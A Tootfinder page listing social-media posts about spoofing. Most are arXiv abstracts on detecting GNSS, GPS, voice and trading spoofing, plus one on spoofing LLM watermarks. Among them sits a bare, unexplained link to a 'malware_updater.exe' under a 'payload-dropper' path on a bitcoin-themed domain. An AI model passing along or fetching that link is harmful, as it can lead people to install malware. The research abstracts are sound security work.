Tootfinder

GNSS Jamming and Spoofing Monitoring Using Low-Cost COTS Receivers
Argyris Kriezis, Yu-Hsuan Chen, Dennis Akos, Sherman Lo, Todd Walter
https://arxiv.org/abs/2509.13600 https://…

GNSS Jamming and Spoofing Monitoring Using Low-Cost COTS Receivers
The Global Navigation Satellite System (GNSS) is increasingly vulnerable to radio frequency interference (RFI), including jamming and spoofing, which threaten the integrity of navigation and timing services. This paper presents a methodology for detecting and classifying RFI events using low-cost commercial off-the- shelf (COTS) GNSS receivers. By combining carrier-to-noise ratio (C/N0) measurements with a calibrated received power metric, a two-dimensional detection space is constructed to ide…

Investigating the Potential of Multi-Stage Score Fusion in Spoofing-Aware Speaker Verification
Oguzhan Kurnaz, Tomi Kinnunen, Cemal Hanilci
https://arxiv.org/abs/2509.12668 http…

Investigating the Potential of Multi-Stage Score Fusion in Spoofing-Aware Speaker Verification
Despite improvements in automatic speaker verification (ASV), vulnerability against spoofing attacks remains a major concern. In this study, we investigate the integration of ASV and countermeasure (CM) subsystems into a modular spoof-aware speaker verification (SASV) framework. Unlike conventional single-stage score-level fusion methods, we explore the potential of a multi-stage approach that utilizes the ASV and CM systems in multiple stages. By leveraging ECAPA-TDNN (ASV) and AASIST (CM) sub…

Was at an event this weekend where https://safehavenpfoa.org/ had a table advertising their animal shelter and selling merch.
But I'm not sure how much I'd want a PFOA towel... Do they have a PFAS free version? :p

GPS Spoofing Attack Detection in Autonomous Vehicles Using Adaptive DBSCAN
Ahmad Mohammadi, Reza Ahmari, Vahid Hemmati, Frederick Owusu-Ambrose, Mahmoud Nabil Mahmoud, Parham Kebria, Abdollah Homaifar, Mehrdad Saif
https://arxiv.org/abs/2510.10766

GPS Spoofing Attack Detection in Autonomous Vehicles Using Adaptive DBSCAN
As autonomous vehicles become an essential component of modern transportation, they are increasingly vulnerable to threats such as GPS spoofing attacks. This study presents an adaptive detection approach utilizing a dynamically tuned Density Based Spatial Clustering of Applications with Noise (DBSCAN) algorithm, designed to adjust the detection threshold (ε) in real-time. The threshold is updated based on the recursive mean and standard deviation of displacement errors between GPS and in-vehic…

Generative Dynamic Graph Representation Learning for Conspiracy Spoofing Detection
Sheng Xiang, Yidong Jiang, Yunting Chen, Dawei Cheng, Guoping Zhao, Changjun Jiang
https://arxiv.org/abs/2510.05562

Generative Dynamic Graph Representation Learning for Conspiracy Spoofing Detection
Spoofing detection in financial trading is crucial, especially for identifying complex behaviors such as conspiracy spoofing. Traditional machine-learning approaches primarily focus on isolated node features, often overlooking the broader context of interconnected nodes. Graph-based techniques, particularly Graph Neural Networks (GNNs), have advanced the field by leveraging relational information effectively. However, in real-world spoofing detection datasets, trading behaviors exhibit dynamic,…

https://cheap-bitcoin.online/exploit-hijacker/payload-dropper/malware_updater.exe?headerfield=spoof&id=ddd3c17f&ip=sc…

Token-based Attractors and Cross-attention in Spoof Diarization
Kyo-Won Koo, Chan-yeong Lim, Jee-weon Jung, Hye-jin Shim, Ha-Jin Yu
https://arxiv.org/abs/2509.13085 https://

Token-based Attractors and Cross-attention in Spoof Diarization
Spoof diarization identifies ``what spoofed when" in a given speech by temporally locating spoofed regions and determining their manipulation techniques. As a first step toward this task, prior work proposed a two-branch model for localization and spoof type clustering, which laid the foundation for spoof diarization. However, its simple structure limits the ability to capture complex spoofing patterns and lacks explicit reference points for distinguishing between bona fide and various spoofing…

DITTO: A Spoofing Attack Framework on Watermarked LLMs via Knowledge Distillation
Hyeseon Ahn, Shinwoo Park, Yo-Sub Han
https://arxiv.org/abs/2510.10987 https://

DITTO: A Spoofing Attack Framework on Watermarked LLMs via Knowledge Distillation
The promise of LLM watermarking rests on a core assumption that a specific watermark proves authorship by a specific model. We demonstrate that this assumption is dangerously flawed. We introduce the threat of watermark spoofing, a sophisticated attack that allows a malicious model to generate text containing the authentic-looking watermark of a trusted, victim model. This enables the seamless misattribution of harmful content, such as disinformation, to reputable sources. The key to our attack…

Spectral Masking and Interpolation Attack (SMIA): A Black-box Adversarial Attack against Voice Authentication and Anti-Spoofing Systems
Kamel Kamel, Hridoy Sankar Dutta, Keshav Sood, Sunil Aryal
https://arxiv.org/abs/2509.07677

Spectral Masking and Interpolation Attack (SMIA): A Black-box Adversarial Attack against Voice Authentication and Anti-Spoofing Systems
Voice Authentication Systems (VAS) use unique vocal characteristics for verification. They are increasingly integrated into high-security sectors such as banking and healthcare. Despite their improvements using deep learning, they face severe vulnerabilities from sophisticated threats like deepfakes and adversarial attacks. The emergence of realistic voice cloning complicates detection, as systems struggle to distinguish authentic from synthetic audio. While anti-spoofing countermeasures (CMs) …

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